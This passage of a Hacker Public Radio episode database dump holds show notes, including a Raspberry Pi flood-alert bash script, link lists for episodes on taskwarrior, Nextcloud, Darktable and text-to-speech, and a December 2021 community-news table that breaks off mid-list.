class=\"uri\">https://smalldata.tech/blog/2016/09/10/gmail-with-mutt</a><br />\r\n4.1.5 email to text<br />\r\n<a href=\"https://20somethingfinance.com/how-to-send-text-messages-sms-via-email-for-free/\" class=\"uri\">https://20somethingfinance.com/how-to-send-text-messages-sms-via-email-for-free/</a><br />\r\n4.1.6 the script<br />\r\n</p>\r\n<pre><code>#!/bin/bash\r\n\r\nSENSOR=4\r\nRELAY=17\r\nINPUT=0\r\nOUTPUT=1\r\nON=1\r\nOFF=0\r\n\r\nADDRESS1=&lt;your-phone-number&gt;@vtext.com\r\n\r\n#if its 6am send system running sanity text\r\nif [ $(date | cut -c 12-16) == &quot;06:00&quot; ]; then\r\n\r\n#check to make sure daemon is running\r\nif [ &quot;$(pidof pigpiod)&quot; == &quot;&quot; ]; then\r\n   echo &quot;Something is wrong, pigpiod is not running.&quot; | mutt -s &quot;mutt message&quot; $ADDRESS1\r\n   else\r\n   #make sure pin 4 is input, pin 17 output\r\n   if [ &quot;$(pigs modeg $SENSOR)&quot; = $OUTPUT ]; then\r\n      pigs modes $SENSOR R\r\n   fi\r\n   if [ &quot;$(pigs modeg $RELAY)&quot; = $INPUT ]; then\r\n      pigs modes $RELAY W\r\n   fi\r\n      echo &quot;System running.&quot; | mutt -s &quot;mutt message&quot; $ADDRESS1\r\n   fi\r\nfi\r\n\r\n#if its the first wednesday of the month, run a system test\r\nif [ $(date | cut -c 1-3) `= &quot;Wed&quot; ] &amp;&amp; [ $(date | cut -c 12-16) =&#39; &quot;12:00&quot; ] &amp;&amp; [ $(date | cut -c 9-10) -lt &quot;8&quot; ]; then\r\n   echo &quot;Monthly Test.&quot; | mutt -s &quot;mutt message&quot; $ADDRESS1\r\n   pigs w $RELAY $ON\r\n   sleep 1\r\n\r\n   if [ $(pigs r $SENSOR) = 0 ]; then\r\n     echo &quot;Test Passed!&quot; | mutt -s &quot;mutt message&quot; $ADDRESS1\r\n   else\r\n     echo &quot;Something is wrong!&quot; | mutt -s &quot;mutt message&quot; $ADDRESS1\r\n   fi\r\nfi\r\n\r\n#check to see if water is rising, has the reading on pin 4 been driven low?\r\nif [ $(pigs r $SENSOR) = 0 ]; then\r\n   echo &quot;Alert! The water is rising!&quot; | mutt -s &quot;mutt message&quot; $ADDRESS1\r\nfi</code></pre>\r\n<p><em>testing on breadboard</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3217/img_004.jpg\" alt=\"testing on breadboard\" /></p>\r\n<p><em>strip board</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3217/img_005.jpg\" alt=\"strip board\" /></p>\r\n<p><em>final installation</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3217/img_006.jpg\" alt=\"final installation\" /></p>\r\n<p>5 <b>conclusion</b></p>\r\n<p>5.1 fun project, shows the power of linux and floss and hope it inspires you</p>\r\n',326,103,0,'CC-BY-SA','raspberry pi, slackware',0,0,1),
(3226,'2020-12-14','Using taskwarrior to structurize your work',970,'How using taskwarrior can help you to structure your work','<ul>\r\n<li><a href=\"https://taskwarrior.org/\">taskwarrior.org</a>\r\n<ul>\r\n<li>Taskwarrior is Free and Open Source Software that manages your TODO list from the command line. It is flexible, fast, and unobtrusive. It does its job then gets out of your way.</li>\r\n</ul></li>\r\n</ul>\r\n<!-- x -->\r\n<ul>\r\n<li><a href=\"https://timewarrior.net/\">timewarrior.net</a>\r\n<ul>\r\n<li>Timewarrior is Free and Open Source Software that tracks time from the command line.</li>\r\n</ul></li>\r\n</ul>\r\n<!-- x -->\r\n<ul>\r\n<li><a href=\"https://medium.com/@jrisch/tracking-time-with-taskwarrior-and-timewarrior-6759f3542276\">Article on the Medium website</a>\r\n<ul>\r\n<li><em>Tracking time on the command line with Taskwarrior and Timewarrior</em></li>\r\n</ul></li>\r\n</ul>',369,0,0,'CC-BY-SA','command-line,taskwarrior,timewarrior,todo-list',0,0,1),
(3215,'2020-11-27','Why I Gave Away a 3-D Printer',442,'I briefly had a 3-D printer and gave it away. This is why.','<p>Ken Fallon asked for shows abut 3-D printers and I told him I had given mine away. So of course he asked for a show about why I had done that. This is that show.</p>\r\n<ul>\r\n<li><a href=\"https://olfconference.org/\" class=\"uri\">https://olfconference.org/</a></li>\r\n<li><a href=\"https://2021.penguicon.org/\" class=\"uri\">https://2021.penguicon.org/</a></li>\r\n<li><a href=\"https://canonical.com/\" class=\"uri\">https://canonical.com/</a></li>\r\n<li><a href=\"https://www.vmware.com/\" class=\"uri\">https://www.vmware.com/</a></li>\r\n<li><a href=\"https://www.redhat.com/en/authors/joe-brockmeier\" class=\"uri\">https://www.redhat.com/en/authors/joe-brockmeier</a></li>\r\n<li><a href=\"https://enablingthefuture.org/\" class=\"uri\">https://enablingthefuture.org/</a></li>\r\n<li><a href=\"https://www.zwilnik.com/why-i-gave-away-a-3-d-printer/\" class=\"uri\">https://www.zwilnik.com/why-i-gave-away-a-3-d-printer/</a></li>\r\n</ul>',198,0,0,'CC-BY-SA','3D Printers, prosthetics',0,0,1),
(3209,'2020-11-19','Linux Inlaws S01E17: Nextcloud',4189,'Chat with Frank Karlitschek about Nextcloud and forking your company','<ul>\r\n<li>Nextcloud: <a href=\"https://nextcloud.com\" target=\"_blank\">https://nextcloud.com</a></li>\r\n<li>PHP: <a href=\"https://www.php.net\" target=\"_blank\">https://www.php.net</a></li>\r\n</ul>',384,111,1,'CC-BY-SA','Nextcloud, PHP, Golang, forking a company, technical debt',0,0,1),
(3207,'2020-11-17','Fireside chat with E Nigma',3799,'Ken talks to the original HPR and Today with a Techie Admin.','<p>In this rambling episode, we talk to <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=39\">Enigma</a> about the old days of HPR. He helped out with Today With A Techie and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\">Droops</a> asked him if he would like lead the project. After 300 episodes he, <a href=\"https://www.urbandictionary.com/define.php?term=Dual_Parallel\">Dual Parallel</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\">Droops</a>, and  <a href=\"https://en.wikipedia.org/wiki/StankDawg\">StankDawg</a> decided to pivot and rebrand as Hacker Public Radio. A nod to <a href=\"https://en.wikipedia.org/wiki/NPR\">National Public Radio</a>.</p>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://oldskoolphreak.com/radio.html\">https://oldskoolphreak.com/radio.html</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/twat.html\">https://hackerpublicradio.org/twat.html</a></li>\r\n<li><a href=\"https://www.binrev.com/forums/\">https://www.binrev.com/forums/</a></li>\r\n<li><a href=\"https://lottalinuxlinks.com/\">https://lottalinuxlinks.com/</a></li>\r\n<li><a href=\"https://archive.org/details/Linux_Reality_Podcast_Archive_DVD\">https://archive.org/details/Linux_Reality_Podcast_Archive_DVD</a></li>\r\n<li><a href=\"https://archive.org/details/BRRseason1\">https://archive.org/details/BRRseason1</a></li>\r\n<li><a href=\"https://archive.org/details/BRRseason2\">https://archive.org/details/BRRseason2</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=39\">Enigma https://hackerpublicradio.org/correspondents.php?hostid=39</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Digital_DawgPound\">https://en.wikipedia.org/wiki/Digital_DawgPound</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Infonomicon\">https://en.wikipedia.org/wiki/Infonomicon</a></li>\r\n<li><a href=\"https://www.urbandictionary.com/define.php?term=Dual_Parallel\">https://www.urbandictionary.com/define.php?term=Dual_Parallel</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/StankDawg\">https://en.wikipedia.org/wiki/StankDawg</a></li>\r\n</ul>',30,0,1,'CC-BY-SA','HPR, TWAT, DDP, Infonomicon, Binrev, RFA',0,0,1),
(3208,'2020-11-18','The Paul Quirk show: Wacom with Pinebook, and thoughts on the DMCA takedown',1120,'I got a Wacom tablet to use with my Pinebook, and then share my thoughts on the recent DMCA takedown','<ul>\r\n<li><p>My fediverse address: <span class=\"citation\" data-cites=\"paul\">@paul</span><span class=\"citation\" data-cites=\"cloud.pquirk.com\">@cloud.pquirk.com</span></p></li>\r\n<li><p>See my first Wacom doodle here: <a href=\"https://cloud.pquirk.com/index.php/s/CAnAwwD6S6AczC6\" class=\"uri\">https://cloud.pquirk.com/index.php/s/CAnAwwD6S6AczC6</a></p></li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/Citizens_United_v._Federal_Election_Commission\" class=\"uri\">https://en.wikipedia.org/wiki/Citizens_United_v._Federal_Election_Commission</a></p></li>\r\n<li><p><a href=\"https://www.canlii.org/en/ca/scc/doc/2000/2000scc57/2000scc57.html\" class=\"uri\">https://www.canlii.org/en/ca/scc/doc/2000/2000scc57/2000scc57.html</a></p></li>\r\n</ul>',383,0,0,'CC-BY-SA','Pinebook,Pro,Wacom,tablet,DMCA,takedown,Youtube,Canadian,Canada,Music',0,0,1),
(3212,'2020-11-24','A Pi Model 3B as your daily driver? You must be joking.',755,'Beeza\'s laptop is away being fixed. Can he manage for a few days using just his Raspberry Pi 3B?','<p>My Dell laptop had to go away to have a new cooling fan fitted. I\'ve got 3 other laptops to call upon, but instead I decided to conduct an experiment I\'ve theorised about for ages. Could a Raspberry Pi 3B serve as my daily driver?</p>\r\n<p>This idea goes back some way and since then, of course, the much more powerful model 4 has been released. However, there must be thousands of 3Bs out there doing nothing, so perhaps they could have a new lease of life providing basic browsing and internet capabilities to people who might otherwise not be in a position to buy a computer.</p>\r\n<p>Hardware: Raspberry Pi Model 3B<br />\r\nOS: Raspberry Pi OS (current version as of 31st October 2020)<br />\r\nMicroSD: SanDisk 16GB</p>\r\n<p>ADDITIONAL SOFTWARE INSTALLED</p>\r\n<ul>\r\n<li>Audio Editor: mhWaveEdit 1.4.23</li>\r\n<li>Audio Format Converter: SoundConverter 2.1.3</li>\r\n<li>Image Editor: GIMP 2.10</li>\r\n</ul>\r\n',246,0,0,'CC-BY-SA','Raspberry Pi, Software Review',0,0,1),
(3213,'2020-11-25','Electrical Safety',1835,'I discuss why and how I stay safe when working with electricity, with some ear candy at the end.','<ul>\r\n<li>Circuit breaker failures:\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/watch?v=0Xov-nXpBmM\" class=\"uri\">Breaker Panel Explosion</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=PN7qtQVJXXM\" class=\"uri\">DB-25 Circuit Breaker Blows Up</a></li>\r\n</ul></li>\r\n<li>Electrical socket failures:\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/watch?v=Kzv1Qn1pPpc\" class=\"uri\">Multiple socket outlet catching fire</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=nPhgQpRFe5A\" class=\"uri\">Loose wires cause fires.</a></li>\r\n</ul></li>\r\n</ul>\r\n<p>Please be safe!</p>',383,0,0,'CC-BY-SA','Electrical,safety,code,electricity,electrocution',0,0,1),
(3218,'2020-12-02','An introduction to Darktable',1574,'A brief introduction to RAW photography, the Darktable application, and then sheep may safely graze','<ul>\r\n<li><a href=\"https://darktable.org/\" class=\"uri\">https://darktable.org/</a></li>\r\n<li><a href=\"https://musopen.org/music/3446-the-lively-hunt-is-all-my-hearts-desire-bwv-208/\" class=\"uri\">https://musopen.org/music/3446-the-lively-hunt-is-all-my-hearts-desire-bwv-208/</a></li>\r\n</ul>\r\n<pre><code>@paul@cloud.pquirk.com\r\n@quirk@mastodon.social</code></pre>',383,0,0,'CC-BY-SA','darktable,RAW,photo,photography,editing',0,0,1),
(3219,'2020-12-03','Linux Inlaws S01E18: Voice Recognition and Text to Speech',4603,'How to place fake prank calls into podcasts and what does TTS have to do with this','<p>\r\nIn this episode, Chris is harassed by quite a few artificial nuisance callers, among\r\ndrug lords, Irish nurses and some random Linux Inlaws Chief Financial Officer. Based\r\non these examples, our two heroes discuss the history and current state of text-to-\r\nspeech (TTS) and voice recognition. We attempted to use voice recognition software in order\r\nto produce a <a href=\"https://linuxinlaws.eu/S01E18_trans.txt\" target=\"_blank\">transcript of the show</a>.\r\n</p>\r\n<br/>Shownotes:<br/>\r\n<ul>\r\n<li>Wavenet: <a href=\"https://deepmind.com/blog/article/wavenet-generative-model-raw-audio\" target=\"_blank\">https://deepmind.com/blog/article/wavenet-generative-model-raw-audio</a></li>\r\n<li>Tacotron: <a href=\"https://ai.googleblog.com/2017/12/tacotron-2-generating-human-like-speech.html\" target=\"_blank\">https://ai.googleblog.com/2017/12/tacotron-2-generating-human-like-speech.html</a></li>\r\n<li>DeepSpeech: <a href=\"https://github.com/mozilla/DeepSpeech\" target=\"_blank\">https://github.com/mozilla/DeepSpeech</a></li>\r\n<li>Lyrebird / Welcome.AI: <a href=\"https://www.welcome.ai/lyrebird\" target=\"_blank\">https://www.welcome.ai/lyrebird</a></li>\r\n<li>Nvidia Tacotron 2: <a href=\"https://github.com/NVIDIA/tacotron2\" target=\"_blank\">https://github.com/NVIDIA/tacotron2</a></li>\r\n<li>Tensorflow: <a href=\"https://www.tensorflow.org\" target=\"_blank\">https://www.tensorflow.org</a></li>\r\n<li>PyTorch: <a href=\"https://pytorch.org\" target=\"_blank\">https://pytorch.org</a></li>\r\n<li>Melspectrograms: <a href=\"https://medium.com/analytics-vidhya/understanding-the-mel-spectrogram-fca2afa2ce53\" target=\"_blank\">https://medium.com/analytics-vidhya/understanding-the-mel-spectrogram-fca2afa2ce53</a></li>\r\n<li>GRAPHCORE: <a href=\"https://www.graphcore.ai\" target=\"_blank\">https://www.graphcore.ai</a></li>\r\n<li>FGPA: <a href=\"https://en.wikipedia.org/wiki/Field-programmable_gate_array\" target=\"_blank\">https://en.wikipedia.org/wiki/Field-programmable_gate_array</a></li>\r\n<li>IBM ROMP: <a href=\"https://en.wikipedia.org/wiki/IBM_ROMP\" target=\"_blank\">https://en.wikipedia.org/wiki/IBM_ROMP</a></li>\r\n<li>Google\'s TTS: <a href=\"https://cloud.google.com/text-to-speech\" target=\"_blank\">https://cloud.google.com/text-to-speech</a></li>\r\n<li>Apple M1: <a href=\"https://www.gsmarena.com/the_apple_m1_is_the_first_armbased_chipset_for_macs_with_the_fastest_cpu_cores_and_top_igpu-news-46222.php\" target=\"_blank\">https://www.gsmarena.com/the_apple_m1_is_the_first_armbased_chipset_for_macs_with_the_fastest_cpu_cores_and_top_igpu-news-46222.php</a></li>\r\n<li>Secure Enclaves: <a href=\"https://support.apple.com/guide/security/secure-enclave-overview-sec59b0b31ff/web\" target=\"_blank\">https://support.apple.com/guide/security/secure-enclave-overview-sec59b0b31ff/web</a></li>\r\n<li>OSDU: <a href=\"https://www.opengroup.org/osdu/forum-homepage\" target=\"_blank\">https://www.opengroup.org/osdu/forum-homepage</a></li>\r\n<li>Jack Kerouac\'s On the Road: <a href=\"https://en.wikipedia.org/wiki/On_the_Road\" target=\"_blank\">https://en.wikipedia.org/wiki/On_the_Road</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','voice recognition, text to speech, wavenet, tacotron 2, DeepSpeech, Lyrebird',0,0,1),
(3222,'2020-12-08','Musings about writing a book about the Odoo software suite',1616,'How I started writing again after 20 years and this time about the Odoo software','<p>In this podcast I describe how I met another Dutch guy at the Ubucon 2018 conference in Spain. And how he asked me to write another book, this time about Odoo. How I learned how the Odoo ecosystem works, with the Odoo S.A. company and the Odoo Community Association (OCA).</p>\r\n<p>At the end I had a finished book.</p>\r\n<p>You can find the book here: <a href=\"https://www.lulu.com/en/en/shop/jeroen-baten/jumpstart-your-business-with-odoo-12-ennl/paperback/product-1wkzmj52.html\" class=\"uri\">https://www.lulu.com/en/en/shop/jeroen-baten/jumpstart-your-business-with-odoo-12-ennl/paperback/product-1wkzmj52.html</a></p>\r\n<p>If you have questions or comments, please leave a comment at the HPR site.</p>\r\n<p>Warm regards, Jeroen Baten</p>\r\n',369,0,0,'CC-BY-SA','odoo, writing, book',0,0,1),
(3223,'2020-12-09','My COVID year summary',1090,'I summarize what I\'ve been doing for the last year','<h1 id=\"links\">Links</h1>\r\n<ul>\r\n<li><a href=\"https://www.cdc.gov/coronavirus/2019-ncov/lab/reporting-lab-data.html\">https://www.cdc.gov/coronavirus/2019-ncov/lab/reporting-lab-data.html</a></li>\r\n<li><a href=\"https://coronavirus.jhu.edu/map.html\">https://coronavirus.jhu.edu/map.html</a></li>\r\n<li><a href=\"https://www.fda.gov/emergency-preparedness-and-response/mcm-legal-regulatory-and-policy-framework/emergency-use-authorization#covid19euas\">https://www.fda.gov/emergency-preparedness-and-response/mcm-legal-regulatory-and-policy-framework/emergency-use-authorization#covid19euas</a></li>\r\n</ul>',300,100,0,'CC-BY-SA','covid,healthcare,coronavirus,laboratory',0,0,1),
(3224,'2020-12-10','Adventures in Retrocomputing with the Mac Plus',1479,'I talk more about my hobby with retrocomputing, and then Greensleeves.','<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Macintosh_Plus\" class=\"uri\">https://en.wikipedia.org/wiki/Macintosh_Plus</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Zip_drive\" class=\"uri\">https://en.wikipedia.org/wiki/Zip_drive</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Steve_Jobs\" class=\"uri\">https://en.wikipedia.org/wiki/Steve_Jobs</a></li>\r\n<li><a href=\"https://www.applegazette.com/ipod/steve-jobs-and-minimalism/\" class=\"uri\">https://www.applegazette.com/ipod/steve-jobs-and-minimalism/</a></li>\r\n</ul>',383,71,0,'CC-BY-SA','Mac,Plus,Iomega,zip,drive,OS,7.5.5,6.0.8,retro,computing',0,0,1),
(3501,'2022-01-03','HPR Community News for December 2021',4324,'HPR Volunteers talk about shows released and comments posted in December 2021','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\" target=\"_blank\">Mechatroniac</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3478\" target=\"_blank\">3478</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-12-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3478\" target=\"_blank\">Audio Wiring Hack on a Classroom Podium</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3479\" target=\"_blank\">3479</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-12-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3479\" target=\"_blank\">Linux Inlaws S01E49: Version Control Systems and why bother</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3480\" target=\"_blank\">3480</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-12-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3480\" target=\"_blank\">Darken Layer Modes</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3481\" target=\"_blank\">3481</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-12-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3481\" target=\"_blank\">HPR Community News for November 2021</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3482\" target=\"_blank\">3482</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-12-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3482\" target=\"_blank\">Introduction to Post Apocalyptic Robotics Meta Technology</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\" target=\"_blank\">Mechatroniac</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3483\" target=\"_blank\">3483</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-12-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3483\" target=\"_blank\">Pinephone64 review</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3484\" target=\"_blank\">3484</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-12-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3484\" target=\"_blank\">My vim setup with GnuPG</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3485\" target=\"_blank\">3485</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-12-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3485\" target=\"_blank\">50 years since the 1st Edition of Unix was published</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3486\" target=\"_blank\">3486</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-12-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3486\" target=\"_blank\">Unleash the true potential of GNU nano text editor</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=397\" target=\"_blank\">hakerdefo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3487\" target=\"_blank\">3487</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-12-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3487\" target=\"_blank\">Installing a cat door</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3488\" target=\"_blank\">3488</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-12-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3488\" target=\"_blank\">Binaural 3d audio recording, please listen at normal speed with good head phones.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=110\" target=\"_blank\">Quvmoh</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3489\" target=\"_blank\">3489</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-12-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3489\" target=\"_blank\">Equality of structured errors</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3490\" target=\"_blank\">3490</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-12-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3490\" target=\"_blank\">The Path</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3491\" target=\"_blank\">3491</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-12-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3491\" target=\"_blank\">My Github and flickmetrix</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3492\" target=\"_blank\">3492</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-12-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3492\" target=\"_blank\">Linux Inlaws S01E44: Pipewire Just another audio server Think again</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3493\" target=\"_blank\">3493</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-12-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3493\" target=\"_blank\">My First Spanish HPR Episode</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3494\" target=\"_blank\">3494</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-12-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3494\" target=\"_blank\">Recent Generator Repairs and Maintenance</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3495\" target=\"_blank\">3495</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-12-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3495\" target=\"_blank\">Podcast Recommendation: The Retroist</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3496\" target=\"_blank\">3496</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-12-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3496\" target=\"_blank\">How I record HPR Episodes</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3497\" target=\"_blank\">3497</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-12-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3497\" target=\"_blank\">Jankilators.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=398\" target=\"_blank\">one_of_spoons</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3498\" target=\"_blank\">3498</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-12-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3498\" target=\"_blank\">Linux Inlaws S01E45: The Big Xmas New Year bash with the Grumpies</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3499\" target=\"_blank\">3499</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-12-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3499\" target=\"_blank\">Fixing a noisy blower motor</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3500\" target=\"_blank\">3500</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-12-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3500\" target=\"_blank\">Contrast Layer Modes</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 14 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 6 comments on\n4 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3292#comments\" target=\"_blank\">hpr3292</a></strong>\n(2021-03-16) \"<em>Squirrel FSF blog</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3292#5\" target=\"_blank\">Comment 5</a>:\ndodddummy on 2021-12-18:\n\"Where\'s the thumbs down button?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3394#comments\" target=\"_blank\">hpr3394</a></strong>\n(2021-08-05) \"<em>Be an XML star with xmlstarlet</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3394#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2021-12-22:\n\"I consulted this episode this week\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3473#comments\" target=\"_blank\">hpr3473</a></strong>\n(2021-11-24) \"<em>My journey into Amateur Radio</em>\"\nby 